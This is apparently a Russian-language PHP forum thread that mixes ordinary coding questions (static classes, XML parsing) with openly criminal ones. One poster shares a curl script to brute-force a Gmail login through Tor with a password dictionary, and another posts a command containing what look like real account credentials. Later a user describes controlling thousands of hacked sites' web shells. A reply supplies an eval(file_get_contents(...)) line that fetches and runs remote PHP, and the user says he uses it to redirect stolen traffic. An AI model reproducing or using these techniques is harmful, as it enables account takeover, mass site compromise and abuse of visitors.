Страница не статическая. Используй head запрос и проверяй заголовок Content-Length, как уже написали выше. Если этого заголовка нету, нужно закачивать страницу полностью, чтобы узнать ее размер.
Брутфорс на PHP! Здравствуйте, есть скрипт для брута, что в нем не так? PHP: <?php set_time_limit(0); $username = "[email protected]"; //Имена юзверей $dictionary = "Dictionary.txt"; // Словарь для паролей $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, "https://accounts.google.com/ServiceLogin?service=mail&passive=true&rm=false&continue=https://mail.google.com/mail/?tab%3Dwm&scc=1<mpl=default<mplcache=2"); curl_setopt($ch, CURLOPT_PROXYTYPE, CURLPROXY_SOCKS5); curl_setopt($ch, CURLOPT_PROXY, "127.0.0.1:9050");
технология не та. curl -u 9streamingk:ruUt143yzZ -s "https://mail.google.com/mail/feed/atom" | grep -c "<entry>"
Как лучше всего передавать обьекты классов между классами ? global переменные ? врядли лучшее решение Передавать обьекты через конструктор ? Вообщем, как это делается красиво ?
Допустим, есть класс sql, с конструктором, в который передается массив с информацией о подключении к базе данных. Обьект этого класса я бы хотел использовать в нескольких других обьектах других классов. Как насчёт создания статических свойств в одном классе, и дальнейший вызов какого либо элемента этого обьекта соответствующим образом ? Code: <?php class bar { public $someProperty; public function __construct() { $this -> someProperty = rand(0,1000); echo "Bar: ".$this -> someProperty."<br />"; } } class foo { public static $classOne; public function __construct() { self::$classOne = new bar(); } } $foo = new foo(); echo "Foo: ".foo::$classOne -> someProperty."<br />"; ?> Допустим, someProperty - функция, и вызывается она таким же способом. Собственно, мне нужен наиболее оптимальный вариант реализации вот такой вот балды.
Статика хорошее решение, если у вас по факту singleton. Лично у меня статика везде, это удобно и на порядок быстрее объектов. аля PHP: class db { public static $host = 'localhost'; public static $user = 'user'; public static $pass = 'pass'; public static $db = 'db'; public static $link = false; public static function connect () { static::$link = mysql_connect(static::$host, static::$user, static::$pass); return static::$link; } public static function q ($query) { if (!static::$link) { static::connect(); } return mysql_query($query, static::$link); } } В начале выполнения скрипта задаём PHP: include 'static.mysql.php'; db::$host='localhost'; db::$pass… и уже где угодно можем юзать PHP: db::q("SELECT …"); Автолоад реализуется очень просто… PHP: class core { public static function load () { // just do } } core::load(); Если остановитесь на статике, рекомендую сначала почитать о ней, т.к. в последнее время её здорово доработали в php.
Парсинг xml Привет, помогите пожалуйста, есть парсер xml на php, он парсит только ссылки на xml, имеющие вид http://сайт.com/php.xml, а мне необходимо спарсить xml вида http://сайт.com/php?user_id=1&key=1, скрипт не парсит его, что делать?
Подскажите пожалуйста, каким образом можно заинклудить файл со стороннего сервера. То есть вот инклуд файла с сервера: PHP: <?php include ($_SERVER['DOCUMENT_ROOT'].'/wp-content/themes/ini.php'); ?> А мне нужно, чтобы работало так (именно с адресом): PHP: <?php include ('http://sait.ru/wp-content/themes/ini.php'); ?> Заранее большое спасибо. Если не трудно - в ПМ.
синтаксис инклуда правильный, но надо учитывать то что если удаленный сервер интерпретирует php файлы то вы получите голый файл с клиентским кодом. если удаленный сервер ваш то поменяйте расширение файла на txt или что то подобное
А если сделать файл txt и в него вставить код Гиперссылки - она ведь будет отображаться на конечном сайте как активная ссылка, а не как просто текст? Или будет именно в текстовом виде? P.S. Попробовал в виде: PHP: <?php include ('http://site.ru/images/M_images/ini.txt'); ?> В итоге не отображается ничего вообще на конечном сайте. Просто пустота.
shtepsel, чтобы инклудить файлы удаленно - должны быть включены следующие директивы в конфигурационном файле php.ini: allow_url_fopen и allow_url_include, последняя по дефолту отключается всеми хостерами в целях обеспечения безопасности. Как вариант, можно завернуть результат выполнения функции file_get_contents в eval, что позволит исполнить php код: eval(file_get_contents("http://site.com/file.php")); удаленный файл должен быть без указателей начала и конца пхп кода (<?php ?>). Но это также сработает, только в том случае, если директива allow_url_fopen находится в значении TRUE. xzxANTxzx, PHP: preg_match("~http://[[:print:]]+\.[[:alpha:]]{2,4}/php\?user_id=\d+&key=\d+~", $xml, $match); print_r($match);
Я тут просто размышлял сидел ночью.. вот есть у меня сервер, допустим, сервер. На него в определённую папку залит файл, допустим ini.php. Есть пачка шеллов. На каждый из них добавляем код, который инклудит файл с этого сервера (ini.php). В случае необходимости разместить какой-либо одинаковый код на ВСЕХ шеллах - просто редактируем файл ini.php на своем сервере и его содержимое отображается на всех шеллах (например ссылка, или iframe). Теперь, я так понял, выясняется, что это не подходит. А как ещё это можно реализовать, кроме include?
почему не подходит? Тут 2 пути ))) либо шеллы инклудят инфу (не обязательно include), либо с твоего сервера рассылается инфа на все шеллы.
Trinux, да я понимаю, что это можно реализовать))))) Вопрос в том, как это реализовать технически? В смысле какими командами. Я в php не очень силён, только в некоторых сторонах, вот и решил поинтересоваться у более знающих. Суть вопроса подробно расписал для того, чтобы кто-нибудь конкретный пример привёл
shtepsel довольно часто встречаю когда исходящие соединения запрещены серверами, в таком случае ваши "боты" не смогут получить ваш ini-файл так что не забывайте делать проверки всякого рода. А вообще если вам нужны только ссылки то это легко решается при помощи css или js. Удаленный инклуд JS и отписывание в DOM при его помощи. И не нужен никакой ПХП с его возможными проблемами.
Ну именно сейчас я задействовал этот код, чтобы одним кликом менять линк на слив трафа, используя сразу много шеллов - всё работает, получается. А изначально я начал обдумывать эту идею, чтобы как раз ссылки расставлять. Просто шеллов с тиц несколько тысяч - поэтому пока не начал вставлять код на них.